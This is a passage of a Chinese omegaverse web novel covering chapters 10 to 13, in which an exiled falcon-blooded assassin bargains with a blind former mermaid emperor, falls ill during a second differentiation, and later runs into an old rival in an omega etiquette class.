“你长着一张能胜任中宫皇后的脸。” 郁沉失笑:“原来你习惯以貌取人。” 白翎语气认真:“我不是以貌取人,而是你长得就很符合伊苏帕莱索的审美。” 但不得不说,前朝的审美比现在的白幼弱好多了。 之前他还奇怪来着,这样高挺强健的O怎么会出现在暴君的皇宫里。现在一看,原来这家伙是前朝人。 当年的老皇帝为了增强O体质,增加生育率,向整个社会推广健康强壮的审美标准。 不仅A要漂亮健壮,O也是强韧有力的,就像面前这只一样。 “那么,你想要权杖?”郁沉饶有兴致地问。 白翎诚实且坦荡地答:“权力,谁不想要?” “那你打算用什么来换?事先声明,我这里不接受更多小鸟饼干的兑付。” 之前的饼干掰开当早饭吃,差点噎到。 白翎压低腰身,抓着金发一圈一圈绕在手上,宛如拽紧他的命门。神情冷淡地问: “我能带你出去,给你自由,够吗?” 郁沉轻描淡写:“如果我不想要自由呢?” “我不信。你不是安于现状的人。” 他的判断太过迅速,让郁沉稍稍挑起眉,问:“为什么?” 白翎淡淡地睨他:“我几次三番威胁你,但你依然把我这个不安定因素留在身边,这就足以说明……你不甘寂寞,想来点刺激的,是吗?” 郁沉诚实微笑:“你很聪明。” 他那笑容,平静祥和地像水中的奥菲利亚。美则美矣,莫名带着一股子诡异。 AI抱着毛巾进来,倒吸一口出风气,差点就大喊: 不要啊!!主人在易感期,你会怀孕的! 诶,仿生omega会下蛋吗?……应该不会。 那没事了。 然而alpha在身处易感期时,总是会表现出暴躁,重欲,渴望等情绪,信息素和攻击型都强得爆表。尤其他家主人这个等级的,一旦碰上易感期,连暴君都不敢靠近。 这只机械小鸟居然还骑在他身上? 别挨一顿爆炒,被它主人徒手给拆了。 回头拆得零件一地,只剩下躯干的主体,眼眶红红地倒在污渍横流的地毯上。一边艰难爬动,四处捡回扯坏的电线和螺丝钉,一边冷淡倔强,公事公办地填写赔偿申请表: [这里,这里,都是您使用不当弄坏的,麻烦帮我修理] 付款之后,还会像自动贩卖机一样,签好发.票,说着谢谢惠顾,默默地找零给你…… 总之就是很凄惨! 小机器人抬头看,墙上镶嵌的荧绿色虚拟屏上,代表信息素浓度的鲜红色指针已经逼近每平方米人体能承受的最大值。 可那只鸟毫无所觉,反而进一步谈条件: “暴君想逼你交出权杖,但我不会逼你。我所图的只是合作。” 白翎计划长远,除了杀暴君,还得为之后的局势做打算。他很清楚,自己现在不比前世鼎盛时期,手里既没有舰队也没有亲信,就只是光杆司令刺客一个。 即便他能刺杀成功,他也缺少势力来稳定庞大的帝国形势。 但如果能抓住王太后这张牌,那么一切问题将迎刃而解。 因为前朝覆灭不过十年,民间还有大堆复辟派。有了王太后,就能靠着复辟派的资金支持,拉起一套可用的领导班子来。 这是一条显而易见的路,且可行性很高。 白翎感叹,那个流浪汉算得还真准。命运不是让他当皇后,而是送他一个前朝皇后当工具人啊。 伊苏帕莱索,你放心,我会替你“照顾”好你孤苦无依的美人寡妇的。 郁沉却不着痕迹勾了唇,反问: “如果我不同意合作呢?” “如果你不同意……”白翎瞟见暗沉水底闪过的一抹鳞光,“那我不介意把您掳走,关进暗无天日的小黑屋里,锁在床边,日夜折腾。” “哦,对了。” 他说着,从水底捡起那枚鳞片捏在指尖,意味深长地审视它的光华: “您长着鳞片,还有一头辉煌的长发,该不会是人鱼血统吧?我听说前朝皇室都爱纯血人鱼,那我把您弄哭,每天来回几遍,您能给我多搞点小珍珠吗?正好有些武器想买。” 郁沉神情一滞,复而轻笑出声。 诡计多端的小混蛋。 说出这么不礼貌的话,真该被按在腿上好好教训。 白翎却把他的笑声,当成了不屑。 手指缓慢滑过郁沉流畅明晰的下颌,突然收掌捏住他的喉咙,郁沉闷哼一声,感觉那只胆大包天的鸟儿呼吸灼热,贴着脸颊,对他恨恨地附耳低言: “刚才在凯德面前摸我摸得不是很开心吗,嗯?” 郁沉恍然,原来是在记仇。 他低低笑着,声腔震动:“我现在也很开心。” 开心个毛?白翎眼皮莫名一跳,只觉得空气似乎变浓一瞬。 而在AI眼里,那一刹那,信息素浓度表仿佛侦查到核能的盖革计数器,冲天拉响警报。镜头里的alpha信息素呈现出一片冲城掠地的红色,涌起滔天大潮,气势磅礴地席卷四面八方。 没有哪个omega能挡住这样悍猛的袭击。 AI望过去,白翎绷紧的腰腹先僵硬再变软,最后软软地倒下去,被挺身坐起的郁沉一胳膊捞在臂弯。 AI:完了,电子元件都烧冒烟了吧。 而它的主人,正从光线昏暗的池子里水淋淋地站起身。他仿佛刚复生的恶魔,整个人倦怠而愉悦,单手提着白翎的后颈,长腿跨出浴池,松开手,将人丢在脚边厚厚的地毯上。 “清洗,打包,送过来。” 命令言简意赅。 在他脚边,白翎额头抵着冰冷的大理石池壁,意识不清地咳喘两声,接着抱紧小腹,难受得蜷缩起身体。 这时,什么东西从他身上掉下,在地毯滚了一滚。 AI捡起来,是一瓶药。 再看向水池,上面漂浮着一张字迹濡湿看不清的医嘱: [服用A性素后禁止近距离接触alpha,否则……] “否则”之后的内容,已随着纸片沉入池底。 · 白翎感觉自己正赤着脚行走在地狱里。 血管里忽冷忽热,痉挛的酸痛从胃部顺着肠道一路蔓延到小腹深处,仿佛有人剖开他的生殖腔,在里面点了一把大火,痛得他酸胀难忍。 这种感觉陌生又熟悉…… 白翎恍惚间找回了记忆。 ——因为泡了太久冷水,他被子弹打穿的生殖腔,正在发炎。 水禽帝国是卵生文明,有许多蛋生下来就父母不详。这些蛋由国家养大,长到十来岁的时候就会经历分化,由于没有父母,很多分化初期的O都会被人盯上,在上高中的年纪就被弄大肚子,被迫辍学。 白翎在军队里也经历过类似的事。 只不过对方没有得手,就气急败坏地对着他肚子射了一枪。 A多O少,生育力出众的omega成了暗中争夺的资源。这在帝国已经是众人皆知的事实。 但有人非要逆势而行,扭转这种现状——老皇帝伊苏帕莱索,曾不顾全国alpha的反对大浪潮,以铁血强硬手腕向下推进【AO监护人制度】,并在宪法59条规定: 监护人须在分化期保护omega,不得标记,不得放置。违规者,将面临终身监禁。 但监护人在omega平稳分化成功后,享有优先配偶选择权。 这看似奇怪的制度,成功将AO之间的压榨,转化为A与A之间的雄竞。 ——想要omega吗?那就在群狼环饲的A群中保护他/她,直到他羽翼丰满,心甘情愿承认你为合法伴侣为止。 那条手段极端的人鱼,成功挑起了AA矛盾,被国际A权协会大骂:“卑鄙无耻压榨A的恶魔!” 10. 二段分化 《人鱼陛下是战利品》全本免费阅读 白翎自持敏捷度3S的游隼血统,觉得就算被困在床头,照样能伸爪子叨人,全身而退。 却不想金属假足刚刚碰到郁沉膝盖,就被一只手紧紧扣住足腕,不仅挣都挣不开,还被就势抓着脚踝压向腿根。 白翎反应过来时已经来不及了。 他逃无可逃,回眸一看所有退路都被截断,只能赌着一口气,用那条好腿用力往上一蹬。 血色苍白的脚掌踩到那道宽肩上,再往下用劲,却像踩在海崖巨石,怎么也撼不动了。 白翎呼吸骤然急促,因为对方正俯身覆在自己身体上方,他都不需要怎么抬头,就能窥见深邃微垂的眼睑,笔挺的鼻梁骨和血气充足的下唇。 仿佛上去咬一口,就能滴出滚烫的血,把他们身下的床单都烫出两个洞一样。 抓着他脚腕的手指也好热…… 白翎扭过头,猛得呼吸两大口,强迫自己借着新鲜空气冷静下来。 怎么回事,这个家伙明明是瞎的,每次抓他都抓得很精准,好像在哪里彩排过无数遍似的。 “你总是这么迟钝吗?”郁沉低声反问。 白翎以为他说自己行动迟钝,正要出口反驳,对方却忽然松了钳制的手,摸索着碰到了他的额头,贴上整个手掌。 动作温和,似乎带着些难以察觉的强硬与怜悯。 “额头还是很烫,亏你还能坐起来和我胡乱闹腾,头不晕吗?” 白翎呆呆望着他,这才慢慢回过神来。 本来自己毫无感觉,可是被他这么一说,全身的病灶仿佛都欢腾着找到了可以信赖的倾泄口,一股脑儿涌上五脏六腑。 白翎骤然弯下腰,飞快捂住嘴,胃里窜上来一阵恶心,差点没吐出来。 那颗A性素仿佛成了精,不知道受了什么刺激,在他胃里翻江倒海,势必要和什么东西掐个高下。 白翎后脊一凉,忽然想起林医生的再三忠告—— 吃完药7小时内尽量远离alpha,等级越强的越要跑得远远的。 否则人工A性素会和天然A性素相排斥,一旦天然的在你身体里强压过人工的一头,你就再也吃不下人工药物了! 从此以后,你就只能依赖那个alpha的信息素来苟活,堪比药物成瘾,直到被对方里里外外彻底标记个透…… 不会吧。 他从刚才到现在,碰到的alpha只有一个。 ——暴君凯德。 “呜……”白翎更难受了,他可以把灵魂卖给魔鬼,但是决不能为了一个孬种天天发情到神志不清下蛋。 AI用小托盘端来牛奶,担忧地望着白翎憔悴的脸色。 本来就是一款冷冰冰锋刃似的气质,现在被高热一摧残,更是北境冰山融裂,一触即碎。 可惜咱们主人瞧不见,喔。 白翎额头渗出薄薄一层冷汗,灰白的发丝像打湿的蒲公英贴在额角,咬了咬唇,想竭力忽视小腹深处开了绞肉机一样的挛痛。 不正常…… 感觉比寻常的生殖腔发炎来得更猛烈。 不知道是不是和那颗A性素的副作用有关…… 他伸手拽了拽郁沉的袖子,忍着牙尖打颤,问道:“我的药……放在防水袋的东西,在哪?” “在枕头下面。” 身为深海皇族纯血,郁沉的听觉极其灵敏,离得这么近,他可以轻易捕捉到许多常人不易察觉的声音。 比如omega的小腿在悄悄摩擦床单,手指头无意识抠着他袖口的扣子,每次和他说话,被迫与他对视时,一起一伏的胸腔里心脏总是不自觉加快律动…… 这些声音,他都听得到。 他也听到无助的小鸟拆开袋子,展开药物说明书,用力睁大眼睛,急迫地想从那些密密麻麻的不良反应中找到答案。 郁沉做了个手势,AI连忙将玻璃杯端端正正送到他手心。 “你正在进入二段分化。”郁沉坐在床边,随手扶着白翎的腰往自己身前一带,对掌心薄薄一层几乎捏不着的肉略感不满,缓缓道: “克里斯托弗今晚带着一群alpha在宴会厅取乐,外面多的是想一口咬穿你脖子的人,你最好待在这里。” 二段分化…… 原来是这个。 总之,不是对alpha成瘾就好。 白翎泄气地丢下说明书,怀疑地瞥了郁沉一眼。本想问他是怎么看出来,不过想了想陈年老o什么大风大浪没经历过,有这种敏感度似乎也很正常。 AI的摄像头悄摸摸放低,聚焦在主人栗褐色西裤边缘露出的一抹脚踝。 强压住alpha侵略性占有欲的通电光标脚镣,正一丝不苟地栓在郁沉脚上。 也相当于捆住人鱼的尾巴,禁锢强大力量的来源。 AI点着不锈钢脑袋,深有所感: “没错,最危险的地方,就是最安全的地方。” 白翎疑问道:“最危险?” 哪里危险了?这里只有一个型号老旧的扫地机器人,还有一只目不能视的老人鱼。 不论怎么看,他这个未来磨牙吮血的革命党头子都比这两只危险吧…… 何况这只人鱼还端着牛奶,想往他嘴边凑,因为看不见位置,递到了他的肩膀,害得他不得不屈身低着脑袋去舔快要溢出边缘的奶。 郁沉眸子似乎掠过微光,又缓缓沉下去。 他保持着给鸟雀喂食的姿势,白翎轻微的嘬饮声取悦了他。 绯红的舌尖泡在柔白的奶液里,轻轻一抿,随着牛奶下降,喝到嘴里的越来越少,下意识把鼻梁都埋进杯子里,最后牙尖咬着晶莹剔透的玻璃杯,昂头用唇舌接住最后一滴。 郁沉看不到,脑中却自然浮现出这副场景。 他不动声色把左脚往后藏了藏。 手一歪,有几滴奶流在自己手背上。 那只小鸟喝得晕晕乎乎,哪里有奶,就追到哪里,眼睛里盯着蜿蜒流下的白色液体,嘴唇便下意识凑上去一嘬—— 吸溜。 声音刺激地一炸,白翎清醒了。 他直起身面无表情地解释:“……我只是不想浪费食物。” 郁沉收起杯子,垂眸一笑:“我知道。” 这就是小流浪的可爱之处。 嘴上说着不要,真的递到嘴边,也会一滴不剩地喝干净,从不会辜负喂养人的期望。 AI:主人好像玩得很开心的样子…… 白翎舔舔牙根回过味来,敏锐地尝出点异样,眯起眼睛直接问:“牛奶里放了东西?” 郁沉 11. 缺乏边界的小流浪 《人鱼陛下是战利品》全本免费阅读 话音刚落,郁沉向前踉跄一步。 浓郁晃动的金发遮挡住侧颜,他痛得“嘶”了声,昂脖子吸气。透过发丝间的光影,能窥见他脖颈的筋腱随着呼吸起伏加粗,领口边缘处,一片森蓝鳞光幽然浮现。 这就是光标脚镣的作用。 一旦佩戴者妄动邪念,便会被电击狠狠制裁。 白翎听到他陡然粗重的呼吸,想都没想就要下床:“您崴脚了吗——” “咔哒”,手铐再次挡住他的脚步。 像意图飞到人手上的鸟,被扯着翅膀拽回去。 郁沉轻微侧头,一点锋利的牙尖在饱满的唇间若隐若现,他感到一股久违的饥饿感正在胃里发酵冒泡,发酸,收紧,倒流着侵蚀他的食管壁。 没有防备心的小年轻。 如果没有那支手铐,是不是就要飞到嘴边,成为他用来果腹的一次性容器? 郁沉不禁缓缓放低呼吸,在舌尖与牙龈的厮磨中,尝到一丝丝空气中的微酸。 似乎是omega成长发育里,初次溢出的微量信息素……法定监护人才能享受到的绝妙奖励,初级压榨的微妙涩甜…… 对易感期的alpha来说,堪称毒药。 没有一个alpha能把这种美味丢在手边,置之不理。 郁沉却背对着白翎,声调平稳:“无妨。时间不早了,你也好好休息。” 白翎望着人鱼的背影,总觉得这话带着一点欲盖拟彰,再次仔细审视对方时,他瞳孔骤缩,被西裤布料里透出一抹荧光色深深刺痛了眼睛。 光标脚镣。 曾经无数次在粘稠的黑夜里折磨得他崩溃濒死的玩意…… “谁给你拴上的?”一时间,脑中无数细节如走马灯般绞得剧痛,白翎冷灰色的眸子翻起一抹暴虐的红,“一定是凯德那个杂种,彪子养的alpha——” 郁沉支着手杖转过身,对omega不正常的情绪反应微微扬起眉峰。 还未等他细究,耳边忽然轰隆响起摧枯拉朽的地面摩擦声,吱嗡,吱嗡,带得整个房间都仿佛震动了。 在这片令人愕然的嘈杂声中,有一道压抑带喘的嗓音: “……您过来……” 义肢扭曲地撑在地上用力拖拽:“我帮您摘掉,否则会坏死的……” 一步一挣,趔趄而行。 AI目瞪口呆地汇报:“主人,他扯着整张床,在向您靠近。” 谁也不知道那具消瘦的身体是怎么瞬间爆发出那么强大的意志力,只知道那声音越来越悲戚: “会腐烂……就没有腿了……” 郁沉从听到“坏死”开始,就不自觉收紧手掌,随着一声锐响,手杖端无比坚硬的宝石瞬间捏爆。 他松开掌心,破碎的宝石染着血丝从指缝间簌簌落下。 郁沉大步走回去,对方立即伸出一只痉挛发颤的手抓过来,紧攥住他的衣角。 郁沉就势找到方位,手掌顺着那副骨瘦嶙峋的肩,摸到纤细的手腕,用劲一捏,整个床柱都差点被强悍地扯下来。 手铐叮咚掉在地毯上。 两道声音几乎同时响起—— “好了好了,别怕……” “我帮您解开枷锁!” 郁沉表情微怔,那只小鸟正兵荒马乱地蹲下来,扯起他的裤腿,混乱地呓语着:“……我看看是什么型号,应该可以暴力破坏电路板,得找个撬棍……” 殊不知,此时此刻他在郁沉的脑中,才是值得暴力弄坏的对象。 很奇妙。 究竟是怎样的绝望与正直?才会支撑着一具破损的躯体,不顾自己的苦难,执着地同情他人。 郁沉头一次起了想把白翎拆开探究的念头。 电击脚镣,心理应激,腐坏,还有截肢的腿……一切似乎在指向可能的事实。 脚镣作为约束alpha行为的道德荆条,已经是上个世纪的事了。 然而改朝换代之后,电击脚链这款原本由政府严格控制的产品却没有退出市场,而是从约束自我,转向控制他人。 或者说,控制omega。 在这颗星球上生存着为数众多的鸟类,展翅翱翔,身姿俊美,当海洋种族抬头仰望时,深种在基因里天生对于天空大地的好奇与向往,经常会使他们滋生阴暗的渴望。 ——抓住小鸟,折断翅膀,征服他们。 尤其是鹰、隼、鸮三大猛禽目,他们高居天空食物链顶端,是最顶级的猎手,是风的宠儿。 这种性情刚猛与凶暴难惹,反而能激起一股肾上腺素飙升的征服欲,满足许多alpha最肮脏卑鄙的幻想。 用电击脚链拴住雌性猛禽的脚踝,关进没有死角的牢笼,手段残忍地侵犯他们的安全域,直到彻底顺服。 海洋系贵族圈层将之戏称为——“熬鹰”。 郁沉知道那些缺乏管教的A有多猖狂。 被玩到崩溃,落下终身残疾的亚成鸟,磨烂了爪尖和着血潜入皇宫想要报仇,实在是情理之中。 郁沉握住那只手腕,摩挲着被手铐勒出的压痕,犹如爱抚一件新入手的收藏品。 比起怜悯,他更愿意欣赏这份血性。 豢养枯死枝头的花朵,可是一件难得的趣事。 特别对他这样无聊的老人来说。 慌溃的小鸟半跪在地上,被牵过来按在膝头,人鱼的嗓音温柔而慷慨: “我可以考虑你的诉求,不管是乞食还是报仇,你想利用我达到的目的,我都能满足。” “作为交换,我对你只有一项要求。” 白翎浑浑噩噩抬起头,晃动的视野中那张介于明暗之间的华美面孔,一时让他分不清梦境还是现实。 “……什、什么?” 一只有力的手掌骤然扼住他的下颌,拇指和食指捏在薄薄的脸肉上,象牙色的指骨泛出些残酷的颜色: “对我绝对诚实。” 向我展示忠诚。 或许是那道声线过分蛊惑,又或者生病时对于亲密接触的渴求,白翎神魂不清地微微低头,嘴唇碰了碰他的掌心。 彼时的他还不知道,自己无意中和魔鬼缔结了协约。 “乖孩子……”郁沉神色缓和地松开手,弯腰把那具滚烫发烧的身体抱起来,抱到床上。 断腿刚接触到床垫,白翎却不自觉挣扎着,在他怀中痛苦地低喘。 “嘘……好了,慢慢放松,”郁沉用手指温柔梳理着他被冷汗浸湿的发丝,低声安抚:“你在我这里很安全,什么也不会发生。” AI连忙查看,主人的特级信息素又开始狂飙了。 在郁沉的持续安慰下,白翎终于神情不安地睡去。 郁沉把软软的小绒被盖在白翎身上,掖了掖被角,裹成一个安全的小窝,白翎却无意识翻了个身,朝向他这边,轻轻呼吸着空气中弥散的alpha信息素。 没有边界感的小流浪…… 这份自然流露的信赖感,无意间勾起郁沉某处尘封的记忆。 他垂下眼眸,像一位年深亘久的监护人那样,俯低身体,清浅克制地吻在白翎额际: “宝贝晚安……” 希望你做个好梦。 · 白翎做了个梦,梦到人生中仅有的一段温馨时光。 那时候,他还是一只灰绒团子幼鸟。 他住在孤儿救助所的大通铺,在难民小学上课。曾经,一艘偷渡来帝国的客运舰发生故障,小行星射线几乎杀死了所有人,他是幸存者之一。 救助所的环境不太好,夏天又热又闷,冬天又冷又潮,护工和所长经常为了一点油水大打出手,隔壁床的小喜鹊总是哭着要亲鸟喂饭。 白翎没那么多毛病,早在他母亲把他推上偷渡船时,就告诉过他:“去了那边就没人给你喂饭了,也不可以想妈妈,知道吗?” 幼鸟和她拉钩,乖乖答应了。 他一向是个省心的孩子,只要能给妈妈减轻累赘,他愿意做任何事。 幼鸟努力适应着新环境。 别的小鸟还在抹眼泪想家时,他在广场上追鸽子,在喷泉里游泳,冲进小巷为了一片面包和其他小鸟打架。打赢了就捡起别人的羽毛揣进兜里,冷冷抹掉鼻血,叼着面包做广场上最凶恶的崽。 他还学会了“打劫”。 具体做法就是每天下午六点守在广场上,等远方叮咚传来送奶车的声音,他便冲过去拦下来,第一个把带着豁口的杯子塞进车窗里,恶狠狠地说: “全脂奶,加满!” “全脂奶”这个词,是他跟排队的人学的,他还学会一个词,叫“薅鱼鳞”,大概意思是说,这个送奶车是条老鱼赞助的,不喝白不喝,最好家家户户带着水桶来接。 车里有个发奶工机器人,专门拿尺子丈量口径,不许他们给水桶装上把手,哄骗人工智 12. 丰厚的馈赠 《人鱼陛下是战利品》全本免费阅读 在白翎人生中很长一段时间,每每想起伊苏帕莱索,浮现在脑海的不是铁血独.裁者,而是那辆整洁明亮的奶车。 不管沿途遭到多少排斥,里面的机器人都会不厌其烦地擦拭玻璃上的鸡蛋液,捡起从窗口丢进去的垃圾,打扫到一尘不染,仿佛强迫症患者的作品。 幼鸟也往里面丢过东西。 他自己。 救助所时常克扣经费,一场北风降临,外面是齐膝深的大雪,拥挤潮湿的大通铺里却不开暖气。 隼形目虽然厉害,可幼鸟的存活率很低,每过一个冬天,都相当于一次凶险的历劫。 幼鸟生病了好几次,隔壁床的小喜鹊笑话他,说这是魔鬼的诅咒应验了,老皇帝正在吸他的精血。 “你肯定活不过这个冬天咯。等你死了,我就戴着你的围巾去学校。” 幼鸟操起枕头,把小喜鹊揍得满地乱哭。 围巾是妈妈给的,临走前从脖子摘下来给他系好的。 幼鸟学着妈妈的样子,把围巾绕起两圈,其中一段塞进外套里。他把鼻子埋进去,只露一双眼睛,假装那份温暖是亲鸟羽毛的守护。 他想着,反正自己都要死了,不如劫持一辆奶车,去任何自己想去的地方。 幼鸟在深夜里毅然出走。 雪花粘在洁白的睫毛上,凛风吹得人头痛欲裂,不惧风雪的小隼却伸展手臂,努力保持着平衡,在空无一人的广场上逆风而行。 快到了,快到了…… 埋在雪地里的奶车,像卧进沙子的海螺,幼鸟飞快地跑进它的灯光下,手脚并用爬进窗户里,往下一跳。 机器人接住他,坐倒在地板上。 幼鸟眨掉睫毛上的水珠,哆嗦着,大声说:“你……你被劫持了。” 机器人非常配合。作为俘虏,它把空调开到暖风,给幼鸟的杯子滋满了热牛奶,从柜子里拿出装糖果的盒子,一大把,两大把……直到塞满幼鸟破旧的帆布小背包。 幼鸟傻眼了,他面对那份丰厚的馈赠,不知道如何是好。 “不是的……劫持不是这样的,”幼鸟努力比划着,“应该是你只听我的话,带我去我想去的地方。” 机器人发动了车子,叮叮咚咚的音乐又清脆响起来。幼鸟哼着歌儿,趴在窗户前望着移步换景的万家灯火,他们穿过狭窄的街巷,经过打烊的小酒馆,吓走路边的野猫,哐当哐当地换了轨道线,从山坡驶向绵延漫长的海岸线。 幼鸟从未如此快乐过。 他剥了两颗奶糖,把剩下的都还回去了,然后坐到机器人身边,戳戳它:“伊苏帕莱索真的每天都要吃小鸟心肝吗?” 它机械地回答:“未查询到相关回复,请重试。” 幼鸟并不奇怪,这些机器人并不算智能,往往只能回答设定好的语音,比如“愿您身体健康”,“请不要乱扔垃圾”。 幼鸟又问:“他挑食吗?” 机器人:“请重试。” 终点站就在眼前了,幼鸟猛得咳嗽一阵,紧紧抱着自己的围巾,胡搅蛮缠道:“……你把我带走吧,哪怕被食人鱼吃掉也行。如果他不肯吃我,我就跟着你一起送牛奶。” 机器人的摄像头闪了下,“请……查询结果:宝贝晚安。” 幼鸟窒住了,憔悴的眼睛里泛起泪光:“我,我不是……想要安慰。” “宝贝晚安。” 那一晚,他不知道触动了机器人的什么程序,幼鸟缩在角落里抹了多久的眼泪,机器人就蹲在他身边说了多少次“宝贝”。 幼鸟醒来时,发现自己被送进了医院,在那个冬天里,他得到了良好的照顾。 人们都说他运气好,政府给他报销了医药费,也有人恶意道,这不就是老皇帝通过奶车监视的铁证嘛。 出院的时候,幼鸟垫着脚趴到护士台,找姐姐们要来了单据。 报销签名的那页纸,并没有人鱼的名字,而是伊苏帕莱索的十字钢印。 幼鸟把徽纹剪下来,粘在自己胸口,心脏上方的位置。 再后来,幼鸟长大了,十三四岁就应征进入军队。好不容易放假一天,他回到广场上,却再也没有了叮咚慢响的身影。 电车轨道被水泥填平了,大楼上挂满了凯德的海报,他焦急万分,来到废弃的奶厂,却发现老旧的奶车已经在空旷无人的角落里锈掉了。 他走过去,机器人咔咔地发出笼头空转的声音。 “祝您……健康,祝您,祝……祝……宝……晚安……” 他找出发声部件去修,维护了半天也只能恢复“宝贝晚安”这个设置,动是动不了了。 白翎就把自己窝进机器人僵坐的怀里,睡了一会儿。 他闭上眼睛,轻声说:“你也晚安。” 然后站起身,赶上回军队的车,再也没有回去过。 · 栖息地里,原本死寂的冰水中忽然水花翻涌,沉睡的人鱼浮出水面,扶着额头靠在池子边。 “我似乎做了个……” AI举着毛巾问:“又是噩梦吗?” 郁沉疲惫地笑了笑:“是美梦。” 梦见有小鸟窝在他怀里睡觉,胸口被小鸟的体温烫得热热的。 AI惊讶地眨了眨摄像头,主人断断续续吃了快三十年的精神温养剂,状态不断下跌后,似乎终于有了好转的迹象? 有时候它都觉得,主人比它们更像AI。 伊苏帕莱索当政的一百余年里,几乎没有休息过一天。 帝国看似庞大,实则内忧外患。对外有虎视眈眈的哺乳动物联邦,对内有势力盘根错节的门阀贵族。 伊苏帕莱索推进Omega保护措施,限制A权,这无形中侵犯了上层A的利益。他们早已对他不满已久,恨不得将其置于死地。 年轻时,他尚且有精力有时间和那些势力斗法,并一度带领帝国走向从未有过的强盛。 但随着时间推移,他的精神控制力大不如前,再加上左膀右臂得力下属逐一去世。他的时代,似乎也不可避免地走向衰落。 这是历史轮回的必然结果。就如同没有一个朝代,能永久地强盛下去;也没有一个皇帝,能永远稳坐钓鱼台。 长达一个世纪的帝国辉煌,已是奇迹。 再往后,便是物盛当衰。 油尽灯枯的伊苏帕莱索,宛如跨越时代的巨兽,拖着这个复杂庞大的国家,又继续苟延残喘地前行了三十年。 广场上的奶车,也不过是他压榨生命挤出的悲悯,是暮色里最后一道余晖…… 然而直到终结,他也没有等到一份回应。 AI偷偷瞟向主人。 郁沉接过浴巾,一整面落地窗外透出拂晓晨光,在他视野里恍如隔雾看花,朦胧影绰,显然经过一夜,精神温养剂的效用正在失效。 “您要过去看看那只小鸟吗?”AI问。 郁沉从骨瓷小碟子里捡起精神补养剂胶囊,空口吞下去。 如果不按时服药,他将很快陷入昏迷。 糯米制作的胶囊外壳正艰涩滑下食道,被饥渴沸腾的胃酸蜂拥侵食,很快,一股空腹抽搐的疼痛蔓延到神经百骸。 郁沉喝了口冰水,压下那股空痛,随口问:“他怎么样,还在烧吗?” “多亏您守了他一夜,他起来时精神好多了,我告诉他您在休息,那只小鸟就操着螺丝刀和钳子把不能用的旧线路全都换了一遍,现在坏掉的暖气片都可以重新使用了。我夸他能干,他说……” AI按下录音播放键,机械小鸟冷冽的声音从扬声器传来:“……我很高兴能为他解决困难。” 我也是。 郁沉浮起笑意,在心里说。 胃里的烧灼感似乎因为这句话安定了一些,郁沉穿戴整齐,回到之前的侧卧。 重新吃下的精神温养剂还没来得及发挥药效,在一片蒙着光晕的视线里,他看到了整齐的床单,叠得像豆腐块的被子,床头柜上的字条,唯独没有那只鸟的身影。 AI失落地说:“啊,他好像走了。” 郁沉拿起那张字条,两颗奶糖随之滚落进他掌纹深刻的手心,字条上工工整整写着: 【这是牛奶的回礼——您忠诚的白翎】 郁沉握紧那两颗奶糖,久久无法平静。 一份迟来的报答,但在他这里永远不算晚 · 诺思觉着自己是真能沉得住气。 13. 成瘾效应 《人鱼陛下是战利品》全本免费阅读 十点整,白翎毅力极强地醒来,迅速穿戴整齐。 诺思劝阻不成,只好带足了热水和抑制棒,和他一起上大课。 他们走后,寝室里陷入一片寂静。不多时,原本紧闭的胶囊舱缓缓拉开一条缝,有人敏捷无声地跳下来,懒洋洋地揉着小麦色的头发,无意间掀起的背心下,露出精干紧绷的腰前锯肌。 “……这什么?” 他橙红色的锐眼一瞥,拿起那块牛肉干,对着光审视肉的纹理。 “高货啊。”这可不是平民能搞到的品质。 萨瓦耐人寻味地自语着,对室友的来历,产生了兴趣。 · O德班的授课内容分为两块,一块是思想教育,一块是能力培训。 今天大课名为《思想道德O生观建设》,属于鸟鸟班和小海鲜班混上,一眼望过去,各色小O林林总总填满了大半个阶梯教室。 白翎和诺思坐在后排。 外面零下十几度,教室里暖气开得不足,没一会血液循环减慢,困意便席卷而来。 讲师看到这群小O的脑袋一点一点,不悦得拍了拍黑板,“刚才我讲的内容你们记下没有?讲的是什么?” 下面零零散散回答:“讲的是……监护人体系的弊端?” 讲师脸色稍霁,严肃道: “没错,那位邪恶先皇制定的【监护人制度】是伪科学,是封建糟粕,是鼓励alpha雄竞的恶行。作为一个有道德感的O,我们要学会对雄竞的诱惑说‘不’,洁身自好,少看一些alpha坦胸露腹肌的小视频,这样才能产下不散黄儿的蛋,争做生蛋先锋。” 诺思用手肘戳戳白翎,好奇问:“鸟鸟,你产的蛋是啥颜色的?我听说你们鸟界还有蓝色和紫色的蛋蛋。” 白翎正在教材书上画中指:“我没产过。” “为啥,你应该不缺求偶的人吧?” “看不上,也没空生蛋。” 诺思汗颜:“……不愧是你,好直接的理由。” 他左右看了看,奇怪道:“诶,咱们寝那个新小宠怎么没来?” 话音刚落,只听前方“轰”一声巨响! 小海鲜们僵硬了触手,雀雀们炸飞了羽毛。 教室门哐当砸在墙面上,磕出个水泥印子,再吱吱呀呀不堪重负地晃回来。无法无天踹门的家伙用玛瑙橙色的鹰眼向全场一扫,把包甩到肩膀上,挑眉笑了下: “品种挺齐全,先吃哪个好呢?” 众人:“…………” 橘色眼睛,头顶两根竖起的耳羽,超一般omega的高健体型,还有那张深邃俊挺,一眼就能看出是优胜劣汰过的基因的帅脸。 全场呆滞三秒,然后从基因里爆发出惊恐的尖叫,暗夜死神,雕鸮!! 草他爹的谁把猎食者猫头鹰放进来了啊啊啊!等等,他吃早饭了吗?鸮形目能从天上飞的吃到海里游的,我们可都在他食谱上啊啊啊不管了先跑跑跑—— “跑什么跑。”萨瓦长腿一横,把唯一的生门堵了,悠悠道:“开个玩笑而已。” 众人敢怒不敢言。 没实力的人才叫开玩笑,有实力把他们做成一菜谱的烧花鸭、烧雏鸡、蒸海胆、什锦盘儿的,不叫开玩笑,那叫威胁! 讲师也十分生气,总管怎么招的人,怎么一届比一届差了,班里已经有个不守O德的白毛,这是又来个刺头? 讲师没好气地让他坐下,萨瓦扫视一圈,目光停留在后排,直接坐到了白翎旁边。 座位很窄,萨瓦抱着手臂往后一靠,占了一个半位置。 白翎:“#-把你的屁股挪开。” 萨瓦:“怎么,你嫉妒?” 白翎:“……” 萨瓦二世。 老萨瓦元帅公爵的孙子,帝国军事指挥大学五十年来素养最优秀的猛禽机甲驾驶员,根正苗红的纯血贵族少爷。 同时也是白翎上辈子最大宿敌,革命路上最难搞的绊脚石,以前整天在扇区跟他拼刺刀,抢地盘的冤种土匪邻居。 居然在这里遇见,不得不说一句—— 冤家路窄。 要不是得低调行事,白翎真想把这嚣张混蛋捆起来揍一顿,揍得他鸡飞蛋打。 萨瓦看着那双骨节嶙峋的手,挑了挑眉:“看这双手,你也是猛禽吧?白发猛禽,是黑翅鸢还是猎隼?也不对……” 